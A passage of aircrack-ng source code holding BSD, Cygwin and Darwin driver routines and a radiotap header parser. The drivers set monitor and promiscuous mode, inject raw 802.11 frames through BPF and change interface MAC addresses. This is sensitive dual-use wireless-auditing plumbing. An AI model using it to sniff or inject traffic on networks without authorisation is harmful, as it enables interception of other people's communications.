if(ioctl(pn->pn_s, SIOCS80211CHANNEL, (caddr_t)&channel) < 0) return -1; pn->pn_chan = chan; return 0; } static int nbsd_read(struct wif *wi, unsigned char *h80211, int len, struct rx_info *ri) { struct priv_nbsd *pn = wi_priv(wi); unsigned char *wh; int plen; assert(len > 0); /* need to read more */ if (pn->pn_totlen == 0) { pn->pn_totlen = read(pn->pn_fd, pn->pn_buf, sizeof(pn->pn_buf)); if (pn->pn_totlen == -1) { pn->pn_totlen = 0; return -1; } pn->pn_next = pn->pn_buf; } /* read 802.11 packet */ wh = get_80211(pn, &plen, ri); if (plen > len) plen = len; assert(plen > 0); memcpy(h80211, wh, plen); if(ri && !ri->ri_channel) ri->ri_channel = wi_get_channel(wi); return plen; } static int nbsd_write(struct wif *wi, unsigned char *h80211, int len, struct tx_info *ti) { struct priv_nbsd *pn = wi_priv(wi); int rc; /* XXX make use of ti */ if (ti) {} rc = write(pn->pn_fd, h80211, len); if (rc == -1) return rc; return 0; } static void do_free(struct wif *wi) { assert(wi->wi_priv); free(wi->wi_priv); wi->wi_priv = 0; free(wi); } static void nbsd_close(struct wif *wi) { struct priv_nbsd *pn = wi_priv(wi); close(pn->pn_fd); close(pn->pn_s); do_free(wi); } static int do_nbsd_open(struct wif *wi, char *iface) { int i; char buf[64]; int fd = -1; struct ifreq ifr; unsigned int dlt = DLT_IEEE802_11_RADIO; int s; unsigned int flags; struct ifmediareq ifmr; int *mwords; struct priv_nbsd *pn = wi_priv(wi); unsigned int size=sizeof(pn->pn_buf); /* basic sanity check */ if (strlen(iface) >= sizeof(ifr.ifr_name)) return -1; /* open wifi */ s = socket(PF_INET, SOCK_DGRAM, 0); if (s == -1) return -1; pn->pn_s = s; /* set iface up and promisc */ memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, iface, IFNAMSIZ); if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) goto close_sock; flags = ifr.ifr_flags; flags |= IFF_UP | IFF_PROMISC; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, iface, IFNAMSIZ); ifr.ifr_flags = flags & 0xffff; if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) goto close_sock; /* monitor mode */ memset(&ifmr, 0, sizeof(ifmr)); strncpy(ifmr.ifm_name, iface, IFNAMSIZ); if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1) goto close_sock; assert(ifmr.ifm_count != 0); mwords = (int *)malloc(ifmr.ifm_count * sizeof(int)); if (!mwords) goto close_sock; ifmr.ifm_ulist = mwords; if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1) { free(mwords); goto close_sock; } free(mwords); memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, iface, IFNAMSIZ); ifr.ifr_media = ifmr.ifm_current | IFM_IEEE80211_MONITOR; if (ioctl(s, SIOCSIFMEDIA, &ifr) == -1) goto close_sock; /* setup ifreq for chan that may be used in future */ strncpy(pn->pn_ireq.i_name, iface, IFNAMSIZ); /* same for ifreq [mac addr] */ strncpy(pn->pn_ifr.ifr_name, iface, IFNAMSIZ); /* open bpf */ for(i = 0; i < 256; i++) { snprintf(buf, sizeof(buf), "/dev/bpf%d", i); fd = open(buf, O_RDWR); if(fd < 0) { if(errno != EBUSY) return -1; continue; } else break; } if(fd < 0) goto close_sock; if (ioctl(fd, BIOCSBLEN, &size) < 0) goto close_bpf; strncpy(ifr.ifr_name, iface, IFNAMSIZ); if (ioctl(fd, BIOCSETIF, &ifr) < 0) goto close_bpf; if (ioctl(fd, BIOCSDLT, &dlt) < 0) goto close_bpf; if(ioctl(fd, BIOCPROMISC, NULL) < 0) goto close_bpf; dlt = 1; if (ioctl(fd, BIOCIMMEDIATE, &dlt) == -1) goto close_bpf; return fd; close_sock: close(s); return -1; close_bpf: close(fd); goto close_sock; } static int nbsd_fd(struct wif *wi) { struct priv_nbsd *pn = wi_priv(wi); return pn->pn_fd; } static int nbsd_get_mac(struct wif *wi, unsigned char *mac) { struct ifaddrs *ifa, *p; char *name = wi_get_ifname(wi); int rc = -1; struct sockaddr_dl* sdp; if (getifaddrs(&ifa) == -1) return -1; p = ifa; while (p) { if (p->ifa_addr->sa_family == AF_LINK && strcmp(name, p->ifa_name) == 0) { sdp = (struct sockaddr_dl*) p->ifa_addr; memcpy(mac, sdp->sdl_data + sdp->sdl_nlen, 6); rc = 0; break; } p = p->ifa_next; } freeifaddrs(ifa); return rc; } static int nbsd_get_monitor(struct wif *wi) { if (wi) {} /* XXX unused */ /* XXX */ return 0; } static int nbsd_get_rate(struct wif *wi) { if (wi) {} /* XXX unused */ /* XXX */ return 1000000; } static int nbsd_set_rate(struct wif *wi, int rate) { if (wi || rate) {} /* XXX unused */ /* XXX */ return 0; } static int nbsd_set_mac(struct wif *wi, unsigned char *mac) { struct priv_nbsd *pn = wi_priv(wi); struct ifreq *ifr = &pn->pn_ifr; ifr->ifr_addr.sa_family = AF_LINK; ifr->ifr_addr.sa_len = 6; memcpy(ifr->ifr_addr.sa_data, mac, 6); return ioctl(pn->pn_s, SIOCSIFADDR, ifr); } static struct wif *nbsd_open(char *iface) { struct wif *wi; struct priv_nbsd *pn; int fd; /* setup wi struct */ wi = wi_alloc(sizeof(*pn)); if (!wi) return NULL; wi->wi_read = nbsd_read; wi->wi_write = nbsd_write; wi->wi_set_channel = nbsd_set_channel; wi->wi_get_channel = nbsd_get_channel; wi->wi_close = nbsd_close; wi->wi_fd = nbsd_fd; wi->wi_get_mac = nbsd_get_mac; wi->wi_set_mac = nbsd_set_mac; wi->wi_get_rate = nbsd_get_rate; wi->wi_set_rate = nbsd_set_rate; wi->wi_get_monitor = nbsd_get_monitor; /* setup iface */ fd = do_nbsd_open(wi, iface); if (fd == -1) { do_free(wi); return NULL; } /* setup private state */ pn = wi_priv(wi); pn->pn_fd = fd; return wi; } struct wif *wi_open_osdep(char *iface) { return nbsd_open(iface); } int get_battery_state(void) { #if defined(__FreeBSD__) int value; size_t len; len = 1; value = 0; sysctlbyname("hw.acpi.acline", &value, &len, NULL, 0); if (value == 0) { sysctlbyname("hw.acpi.battery.time", &value, &len, NULL, 0); value = value * 60; } else { value = 0; } return( value ); #elif defined(_BSD_SOURCE) struct apm_power_info api; int apmfd; if ((apmfd = open("/dev/apm", O_RDONLY)) < 0) return 0; if (ioctl(apmfd, APM_IOC_GETPOWER, &api) < 0) { close(apmfd); return 0; } close(apmfd); if (api.battery_state == APM_BATT_UNKNOWN || api.battery_state == APM_BATTERY_ABSENT || api.battery_state == APM_BATT_CHARGING || api.ac_state == APM_AC_ON) { return 0; } return ((int)(api.minutes_left))*60; #else return 0; #endif } aircrack-ng-1.2-beta3/src/osdep/cygwin.h0000644000000000000000000000357010761053203016603 0ustar rootroot /* * Copyright (c) 2007, 2008, Andrea Bittau * * OS dependent API for cygwin. It relies on an external * DLL to do the actual wifi stuff * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ // DLL function that have to be exported #define CYGWIN_DLL_INIT cygwin_init #define CYGWIN_DLL_SET_CHAN cygwin_set_chan #define CYGWIN_DLL_INJECT cygwin_inject #define CYGWIN_DLL_SNIFF cygwin_sniff #define CYGWIN_DLL_GET_MAC cygwin_get_mac #define CYGWIN_DLL_SET_MAC cygwin_set_mac #define CYGWIN_DLL_CLOSE cygwin_close /* * Prototypes: * int CYGWIN_DLL_INIT (char *param); * int CYGWIN_DLL_SET_CHAN (int chan); * int CYGWIN_DLL_INJECT (void *buf, int len, struct tx_info *ti); * int CYGWIN_DLL_SNIFF (void *buf, int len, struct rx_info *ri); * int CYGWIN_DLL_GET_MAC (unsigned char *mac); * int CYGWIN_DLL_SET_MAC (unsigned char *mac); * void CYGWIN_DLL_CLOSE (void); * * Notes: * - sniff can block and inject can be called by another thread. * - return -1 for error. * */ /* XXX the interface is broken. init() should return a void* that is passed to * each call. This way multiple instances can be open by a single process. * -sorbo * */ aircrack-ng-1.2-beta3/src/osdep/darwin_tap.c0000644000000000000000000001270111321204141017412 0ustar rootroot /* * Copyright (c) 2009, Kyle Fuller , based upon * freebsd_tap.c by Andrea Bittau * * OS dependent API for Darwin. TAP routines * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include #include #include #include #include #include #include #include #include "osdep.h" #define MAX_TAP_DEVS 16 struct tip_darwin { int tf_fd; int tf_ioctls; struct ifreq tf_ifr; char tf_name[MAX_IFACE_NAME]; int tf_destroy; }; static int ti_do_open_darwin(struct tif *ti, char *name) { int fd = -1; char iface[12]; struct stat st; struct tip_darwin *priv = ti_priv(ti); int s; unsigned int flags; struct ifreq *ifr; int i; /* open tap */ if (name) { fd = open(name, O_RDWR); } else { priv->tf_destroy = 1; /* we create, we destroy */ for (i = 0; i < MAX_TAP_DEVS; i++) { snprintf(iface, sizeof(iface), "/dev/tap%d", i); fd = open(iface, O_RDWR); if (fd != -1) { break; } } } if (fd == -1) { return -1; } /* get name */ if(fstat(fd, &st) == -1) goto err; snprintf(priv->tf_name, sizeof(priv->tf_name)-1, "%s", devname(st.st_rdev, S_IFCHR)); /* bring iface up */ s = socket(PF_INET, SOCK_DGRAM, 0); if (s == -1) goto err; priv->tf_ioctls = s; /* get flags */ ifr = &priv->tf_ifr; memset(ifr, 0, sizeof(*ifr)); snprintf(ifr->ifr_name, sizeof(ifr->ifr_name)-1, "%s", priv->tf_name); if (ioctl(s, SIOCGIFFLAGS, ifr) == -1) goto err2; flags = (ifr->ifr_flags & 0xffff); /* set flags */ flags |= IFF_UP; ifr->ifr_flags = flags & 0xffff; if (ioctl(s, SIOCSIFFLAGS, ifr) == -1) goto err2; return fd; err: /* XXX destroy */ close(fd); return -1; err2: close(s); goto err; } static void ti_do_free(struct tif *ti) { struct tip_darwin *priv = ti_priv(ti); free(priv); free(ti); } static void ti_destroy(struct tip_darwin *priv) { ioctl(priv->tf_ioctls, SIOCIFDESTROY, &priv->tf_ifr); } static void ti_close_darwin(struct tif *ti) { struct tip_darwin *priv = ti_priv(ti); if (priv->tf_destroy) ti_destroy(priv); close(priv->tf_fd); close(priv->tf_ioctls); ti_do_free(ti); } static char *ti_name_darwin(struct tif *ti) { struct tip_darwin *priv = ti_priv(ti); return priv->tf_name; } static int ti_set_mtu_darwin(struct tif *ti, int mtu) { struct tip_darwin *priv = ti_priv(ti); priv->tf_ifr.ifr_mtu = mtu; return ioctl(priv->tf_ioctls, SIOCSIFMTU, &priv->tf_ifr); } static int ti_set_mac_darwin(struct tif *ti, unsigned char *mac) { struct tip_darwin *priv = ti_priv(ti); struct ifreq *ifr = &priv->tf_ifr; ifr->ifr_addr.sa_family = AF_LINK; ifr->ifr_addr.sa_len = 6; memcpy(ifr->ifr_addr.sa_data, mac, 6); return ioctl(priv->tf_ioctls, SIOCSIFLLADDR, ifr); } static int ti_set_ip_darwin(struct tif *ti, struct in_addr *ip) { struct tip_darwin *priv = ti_priv(ti); struct ifaliasreq ifra; struct sockaddr_in *s_in; /* assume same size */ memset(&ifra, 0, sizeof(ifra)); strcpy(ifra.ifra_name, priv->tf_ifr.ifr_name); s_in = (struct sockaddr_in *) &ifra.ifra_addr; s_in->sin_family = PF_INET; s_in->sin_addr = *ip; s_in->sin_len = sizeof(*s_in); return ioctl(priv->tf_ioctls, SIOCAIFADDR, &ifra); } static int ti_fd_darwin(struct tif *ti) { struct tip_darwin *priv = ti_priv(ti); return priv->tf_fd; } static int ti_read_darwin(struct tif *ti, void *buf, int len) { return read(ti_fd(ti), buf, len); } static int ti_write_darwin(struct tif *ti, void *buf, int len) { return write(ti_fd(ti), buf, len); } static struct tif *ti_open_darwin(char *iface) { struct tif *ti; struct tip_darwin *priv; int fd; /* setup ti struct */ ti = ti_alloc(sizeof(*priv)); if (!ti) return NULL; ti->ti_name = ti_name_darwin; ti->ti_set_mtu = ti_set_mtu_darwin; ti->ti_close = ti_close_darwin; ti->ti_fd = ti_fd_darwin; ti->ti_read = ti_read_darwin; ti->ti_write = ti_write_darwin; ti->ti_set_mac = ti_set_mac_darwin; ti->ti_set_ip = ti_set_ip_darwin; /* setup iface */ fd = ti_do_open_darwin(ti, iface); if (fd == -1) { ti_do_free(ti); return NULL; } /* setup private state */ priv = ti_priv(ti); priv->tf_fd = fd; return ti; } struct tif *ti_open(char *iface) { return ti_open_darwin(iface); } aircrack-ng-1.2-beta3/src/osdep/radiotap/0000755000000000000000000000000012316431261016732 5ustar rootrootaircrack-ng-1.2-beta3/src/osdep/radiotap/parse.c0000644000000000000000000001002212313371023020177 0ustar rootroot#ifndef _BSD_SOURCE #define _BSD_SOURCE #endif #include #include #include #include #include #include #include #include #include #include "radiotap_iter.h" static int fcshdr = 0; static const struct radiotap_align_size align_size_000000_00[] = { [0] = { .align = 1, .size = 4, }, [52] = { .align = 1, .size = 4, }, }; static const struct ieee80211_radiotap_namespace vns_array[] = { { .oui = 0x000000, .subns = 0, .n_bits = sizeof(align_size_000000_00), .align_size = align_size_000000_00, }, }; static const struct ieee80211_radiotap_vendor_namespaces vns = { .ns = vns_array, .n_ns = sizeof(vns_array)/sizeof(vns_array[0]), }; static void print_radiotap_namespace(struct ieee80211_radiotap_iterator *iter) { switch (iter->this_arg_index) { case IEEE80211_RADIOTAP_TSFT: printf("\tTSFT: %llu\n", le64toh(*(unsigned long long *)iter->this_arg)); break; case IEEE80211_RADIOTAP_FLAGS: printf("\tflags: %02x\n", *iter->this_arg); break; case IEEE80211_RADIOTAP_RATE: printf("\trate: %lf\n", (double)*iter->this_arg/2); break; case IEEE80211_RADIOTAP_CHANNEL: case IEEE80211_RADIOTAP_FHSS: case IEEE80211_RADIOTAP_DBM_ANTSIGNAL: case IEEE80211_RADIOTAP_DBM_ANTNOISE: case IEEE80211_RADIOTAP_LOCK_QUALITY: case IEEE80211_RADIOTAP_TX_ATTENUATION: case IEEE80211_RADIOTAP_DB_TX_ATTENUATION: case IEEE80211_RADIOTAP_DBM_TX_POWER: case IEEE80211_RADIOTAP_ANTENNA: case IEEE80211_RADIOTAP_DB_ANTSIGNAL: case IEEE80211_RADIOTAP_DB_ANTNOISE: case IEEE80211_RADIOTAP_TX_FLAGS: break; case IEEE80211_RADIOTAP_RX_FLAGS: if (fcshdr) { printf("\tFCS in header: %.8x\n", le32toh(*(uint32_t *)iter->this_arg)); break; } printf("\tRX flags: %#.4x\n", le16toh(*(uint16_t *)iter->this_arg)); break; case IEEE80211_RADIOTAP_RTS_RETRIES: case IEEE80211_RADIOTAP_DATA_RETRIES: break; break; default: printf("\tBOGUS DATA\n"); break; } } static void print_test_namespace(struct ieee80211_radiotap_iterator *iter) { switch (iter->this_arg_index) { case 0: case 52: printf("\t00:00:00-00|%d: %.2x/%.2x/%.2x/%.2x\n", iter->this_arg_index, *iter->this_arg, *(iter->this_arg + 1), *(iter->this_arg + 2), *(iter->this_arg + 3)); break; default: printf("\tBOGUS DATA - vendor ns %d\n", iter->this_arg_index); break; } } static const struct radiotap_override overrides[] = { { .field = 14, .align = 4, .size = 4, } }; int main(int argc, char *argv[]) { struct ieee80211_radiotap_iterator iter; struct stat statbuf; int fd, err, fnidx = 1, i; void *data; if (argc != 2 && argc != 3) { fprintf(stderr, "usage: parse [--fcshdr] \n"); fprintf(stderr, " --fcshdr: read bit 14 as FCS\n"); return 2; } if (strcmp(argv[1], "--fcshdr") == 0) { fcshdr = 1; fnidx++; } fd = open(argv[fnidx], O_RDONLY); if (fd < 0) { fprintf(stderr, "cannot open file %s\n", argv[fnidx]); return 2; } if (fstat(fd, &statbuf)) { perror("fstat"); return 2; } data = mmap(NULL, statbuf.st_size, PROT_READ, MAP_SHARED, fd, 0); err = ieee80211_radiotap_iterator_init(&iter, data, statbuf.st_size, &vns); if (err) { printf("malformed radiotap header (init returns %d)\n", err); return 3; } if (fcshdr) { iter.overrides = overrides; iter.n_overrides = sizeof(overrides)/sizeof(overrides[0]); } while (!(err = ieee80211_radiotap_iterator_next(&iter))) { if (iter.this_arg_index == IEEE80211_RADIOTAP_VENDOR_NAMESPACE) { printf("\tvendor NS (%.2x-%.2x-%.2x:%d, %d bytes)\n", iter.this_arg[0], iter.this_arg[1], iter.this_arg[2], iter.this_arg[3], iter.this_arg_size - 6); for (i = 6; i < iter.this_arg_size; i++) { if (i % 8 == 6) printf("\t\t"); else printf(" "); printf("%.2x", iter.this_arg[i]); } printf("\n"); } else if (iter.is_radiotap_ns) print_radiotap_namespace(&iter); else if (iter.current_namespace == &vns_array[0]) print_test_namespace(&iter); } if (err != -ENOENT) { printf("malformed radiotap data\n"); return 3; } return 0; } aircrack-ng-1.2-beta3/src/osdep/radiotap/COPYING0000644000000000000000000000146412313371023017766 0ustar rootrootCopyright (c) 2007-2009 Andy Green Copyright (c) 2007-2009 Johannes Berg Permission to use, copy, modify, and/or distribute this software for any purpose with or without fee is hereby granted, provided that the above copyright notice and this permission notice appear in all copies. THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. aircrack-ng-1.2-beta3/src/osdep/radiotap/platform.h0000644000000000000000000000077112313371023020730 0ustar rootroot#include #include #ifndef _BSD_SOURCE #define _BSD_SOURCE #endif #include #define le16_to_cpu le16toh #define le32_to_cpu le32toh #define get_unaligned(p) \ ({ \ struct packed_dummy_struct { \ typeof(*(p)) __val; \ } __attribute__((packed)) *__ptr = (void *) (p); \ \ __ptr->__val; \ }) #define get_unaligned_le16(p) le16_to_cpu(get_unaligned((uint16_t *)(p))) #define get_unaligned_le32(p) le32_to_cpu(get_unaligned((uint32_t *)(p))) aircrack-ng-1.2-beta3/src/osdep/radiotap/radiotap_iter.h0000644000000000000000000000556412313371023021737 0ustar rootroot#ifndef __RADIOTAP_ITER_H #define __RADIOTAP_ITER_H #include #include "radiotap.h" /* Radiotap header iteration * implemented in radiotap.c */ struct radiotap_override { uint8_t field; uint8_t align:4, size:4; }; struct radiotap_align_size { uint8_t align:4, size:4; }; struct ieee80211_radiotap_namespace { const struct radiotap_align_size *align_size; int n_bits; uint32_t oui; uint8_t subns; }; struct ieee80211_radiotap_vendor_namespaces { const struct ieee80211_radiotap_namespace *ns; int n_ns; }; /** * struct ieee80211_radiotap_iterator - tracks walk thru present radiotap args * @this_arg_index: index of current arg, valid after each successful call * to ieee80211_radiotap_iterator_next() * @this_arg: pointer to current radiotap arg; it is valid after each * call to ieee80211_radiotap_iterator_next() but also after * ieee80211_radiotap_iterator_init() where it will point to * the beginning of the actual data portion * @this_arg_size: length of the current arg, for convenience * @current_namespace: pointer to the current namespace definition * (or internally %NULL if the current namespace is unknown) * @is_radiotap_ns: indicates whether the current namespace is the default * radiotap namespace or not * * @overrides: override standard radiotap fields * @n_overrides: number of overrides * * @_rtheader: pointer to the radiotap header we are walking through * @_max_length: length of radiotap header in cpu byte ordering * @_arg_index: next argument index * @_arg: next argument pointer * @_next_bitmap: internal pointer to next present u32 * @_bitmap_shifter: internal shifter for curr u32 bitmap, b0 set == arg present * @_vns: vendor namespace definitions * @_next_ns_data: beginning of the next namespace's data * @_reset_on_ext: internal; reset the arg index to 0 when going to the * next bitmap word * * Describes the radiotap parser state. Fields prefixed with an underscore * must not be used by users of the parser, only by the parser internally. */ struct ieee80211_radiotap_iterator { struct ieee80211_radiotap_header *_rtheader; const struct ieee80211_radiotap_vendor_namespaces *_vns; const struct ieee80211_radiotap_namespace *current_namespace; unsigned char *_arg, *_next_ns_data; uint32_t *_next_bitmap; unsigned char *this_arg; #ifdef RADIOTAP_SUPPORT_OVERRIDES const struct radiotap_override *overrides; int n_overrides; #endif int this_arg_index; int this_arg_size; int is_radiotap_ns; int _max_length; int _arg_index; uint32_t _bitmap_shifter; int _reset_on_ext; }; extern int ieee80211_radiotap_iterator_init( struct ieee80211_radiotap_iterator *iterator, struct ieee80211_radiotap_header *radiotap_header, int max_length, const struct ieee80211_radiotap_vendor_namespaces *vns); extern int ieee80211_radiotap_iterator_next( struct ieee80211_radiotap_iterator *iterator); #endif /* __RADIOTAP_ITER_H */ aircrack-ng-1.2-beta3/src/osdep/radiotap/README0000644000000000000000000000015612313371023017610 0ustar rootrootThe files in this directory come from http://www.radiotap.org/ git: http://git.sipsolutions.net/radiotap.git/ aircrack-ng-1.2-beta3/src/osdep/radiotap/Makefile0000644000000000000000000000005611215211035020363 0ustar rootrootall: install: uninstall: clean: rm -f *.o aircrack-ng-1.2-beta3/src/osdep/radiotap/radiotap.h0000644000000000000000000002515312313371023020710 0ustar rootroot/*- * Copyright (c) 2003, 2004 David Young. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. The name of David Young may not be used to endorse or promote * products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY DAVID YOUNG ``AS IS'' AND ANY * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL DAVID * YOUNG BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED * TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY * OF SUCH DAMAGE. */ /* * Modifications to fit into the linux IEEE 802.11 stack, * Mike Kershaw (dragorn@kismetwireless.net) */ #ifndef IEEE80211RADIOTAP_H #define IEEE80211RADIOTAP_H #include /* Base version of the radiotap packet header data */ #define PKTHDR_RADIOTAP_VERSION 0 /* A generic radio capture format is desirable. There is one for * Linux, but it is neither rigidly defined (there were not even * units given for some fields) nor easily extensible. * * I suggest the following extensible radio capture format. It is * based on a bitmap indicating which fields are present. * * I am trying to describe precisely what the application programmer * should expect in the following, and for that reason I tell the * units and origin of each measurement (where it applies), or else I * use sufficiently weaselly language ("is a monotonically nondecreasing * function of...") that I cannot set false expectations for lawyerly * readers. */ /* The radio capture header precedes the 802.11 header. * All data in the header is little endian on all platforms. */ struct ieee80211_radiotap_header { uint8_t it_version; /* Version 0. Only increases * for drastic changes, * introduction of compatible * new fields does not count. */ uint8_t it_pad; uint16_t it_len; /* length of the whole * header in bytes, including * it_version, it_pad, * it_len, and data fields. */ uint32_t it_present; /* A bitmap telling which * fields are present. Set bit 31 * (0x80000000) to extend the * bitmap by another 32 bits. * Additional extensions are made * by setting bit 31. */ }; /* Name Data type Units * ---- --------- ----- * * IEEE80211_RADIOTAP_TSFT __le64 microseconds * * Value in microseconds of the MAC's 64-bit 802.11 Time * Synchronization Function timer when the first bit of the * MPDU arrived at the MAC. For received frames, only. * * IEEE80211_RADIOTAP_CHANNEL 2 x uint16_t MHz, bitmap * * Tx/Rx frequency in MHz, followed by flags (see below). * * IEEE80211_RADIOTAP_FHSS uint16_t see below * * For frequency-hopping radios, the hop set (first byte) * and pattern (second byte). * * IEEE80211_RADIOTAP_RATE u8 500kb/s * * Tx/Rx data rate * * IEEE80211_RADIOTAP_DBM_ANTSIGNAL s8 decibels from * one milliwatt (dBm) * * RF signal power at the antenna, decibel difference from * one milliwatt. * * IEEE80211_RADIOTAP_DBM_ANTNOISE s8 decibels from * one milliwatt (dBm) * * RF noise power at the antenna, decibel difference from one * milliwatt. * * IEEE80211_RADIOTAP_DB_ANTSIGNAL u8 decibel (dB) * * RF signal power at the antenna, decibel difference from an * arbitrary, fixed reference. * * IEEE80211_RADIOTAP_DB_ANTNOISE u8 decibel (dB) * * RF noise power at the antenna, decibel difference from an * arbitrary, fixed reference point. * * IEEE80211_RADIOTAP_LOCK_QUALITY uint16_t unitless * * Quality of Barker code lock. Unitless. Monotonically * nondecreasing with "better" lock strength. Called "Signal * Quality" in datasheets. (Is there a standard way to measure * this?) * * IEEE80211_RADIOTAP_TX_ATTENUATION uint16_t unitless * * Transmit power expressed as unitless distance from max * power set at factory calibration. 0 is max power. * Monotonically nondecreasing with lower power levels. * * IEEE80211_RADIOTAP_DB_TX_ATTENUATION uint16_t decibels (dB) * * Transmit power expressed as decibel distance from max power * set at factory calibration. 0 is max power. Monotonically * nondecreasing with lower power levels. * * IEEE80211_RADIOTAP_DBM_TX_POWER s8 decibels from * one milliwatt (dBm) * * Transmit power expressed as dBm (decibels from a 1 milliwatt * reference). This is the absolute power level measured at * the antenna port. * * IEEE80211_RADIOTAP_FLAGS u8 bitmap * * Properties of transmitted and received frames. See flags * defined below. * * IEEE80211_RADIOTAP_ANTENNA u8 antenna index * * Unitless indication of the Rx/Tx antenna for this packet. * The first antenna is antenna 0. * * IEEE80211_RADIOTAP_RX_FLAGS uint16_t bitmap * * Properties of received frames. See flags defined below. * * IEEE80211_RADIOTAP_TX_FLAGS uint16_t bitmap * * Properties of transmitted frames. See flags defined below. * * IEEE80211_RADIOTAP_RTS_RETRIES u8 data * * Number of rts retries a transmitted frame used. * * IEEE80211_RADIOTAP_DATA_RETRIES u8 data * * Number of unicast retries a transmitted frame used. * * IEEE80211_RADIOTAP_MCS u8, u8, u8 unitless * * Contains a bitmap of known fields/flags, the flags, and * the MCS index. * * IEEE80211_RADIOTAP_AMPDU_STATUS u32, u16, u8, u8 unitlesss * * Contains the AMPDU information for the subframe. */ enum ieee80211_radiotap_type { IEEE80211_RADIOTAP_TSFT = 0, IEEE80211_RADIOTAP_FLAGS = 1, IEEE80211_RADIOTAP_RATE = 2, IEEE80211_RADIOTAP_CHANNEL = 3, IEEE80211_RADIOTAP_FHSS = 4, IEEE80211_RADIOTAP_DBM_ANTSIGNAL = 5, IEEE80211_RADIOTAP_DBM_ANTNOISE = 6, IEEE80211_RADIOTAP_LOCK_QUALITY = 7, IEEE80211_RADIOTAP_TX_ATTENUATION = 8, IEEE80211_RADIOTAP_DB_TX_ATTENUATION = 9, IEEE80211_RADIOTAP_DBM_TX_POWER = 10, IEEE80211_RADIOTAP_ANTENNA = 11, IEEE80211_RADIOTAP_DB_ANTSIGNAL = 12, IEEE80211_RADIOTAP_DB_ANTNOISE = 13, IEEE80211_RADIOTAP_RX_FLAGS = 14, IEEE80211_RADIOTAP_TX_FLAGS = 15, IEEE80211_RADIOTAP_RTS_RETRIES = 16, IEEE80211_RADIOTAP_DATA_RETRIES = 17, IEEE80211_RADIOTAP_MCS = 19, IEEE80211_RADIOTAP_AMPDU_STATUS = 20, /* valid in every it_present bitmap, even vendor namespaces */ IEEE80211_RADIOTAP_RADIOTAP_NAMESPACE = 29, IEEE80211_RADIOTAP_VENDOR_NAMESPACE = 30, IEEE80211_RADIOTAP_EXT = 31 }; /* Channel flags. */ #define IEEE80211_CHAN_TURBO 0x0010 /* Turbo channel */ #define IEEE80211_CHAN_CCK 0x0020 /* CCK channel */ #define IEEE80211_CHAN_OFDM 0x0040 /* OFDM channel */ #define IEEE80211_CHAN_2GHZ 0x0080 /* 2 GHz spectrum channel. */ #define IEEE80211_CHAN_5GHZ 0x0100 /* 5 GHz spectrum channel */ #define IEEE80211_CHAN_PASSIVE 0x0200 /* Only passive scan allowed */ #define IEEE80211_CHAN_DYN 0x0400 /* Dynamic CCK-OFDM channel */ #define IEEE80211_CHAN_GFSK 0x0800 /* GFSK channel (FHSS PHY) */ /* For IEEE80211_RADIOTAP_FLAGS */ #define IEEE80211_RADIOTAP_F_CFP 0x01 /* sent/received * during CFP */ #define IEEE80211_RADIOTAP_F_SHORTPRE 0x02 /* sent/received * with short * preamble */ #define IEEE80211_RADIOTAP_F_WEP 0x04 /* sent/received * with WEP encryption */ #define IEEE80211_RADIOTAP_F_FRAG 0x08 /* sent/received * with fragmentation */ #define IEEE80211_RADIOTAP_F_FCS 0x10 /* frame includes FCS */ #define IEEE80211_RADIOTAP_F_DATAPAD 0x20 /* frame has padding between * 802.11 header and payload * (to 32-bit boundary) */ #define IEEE80211_RADIOTAP_F_BADFCS 0x40 /* 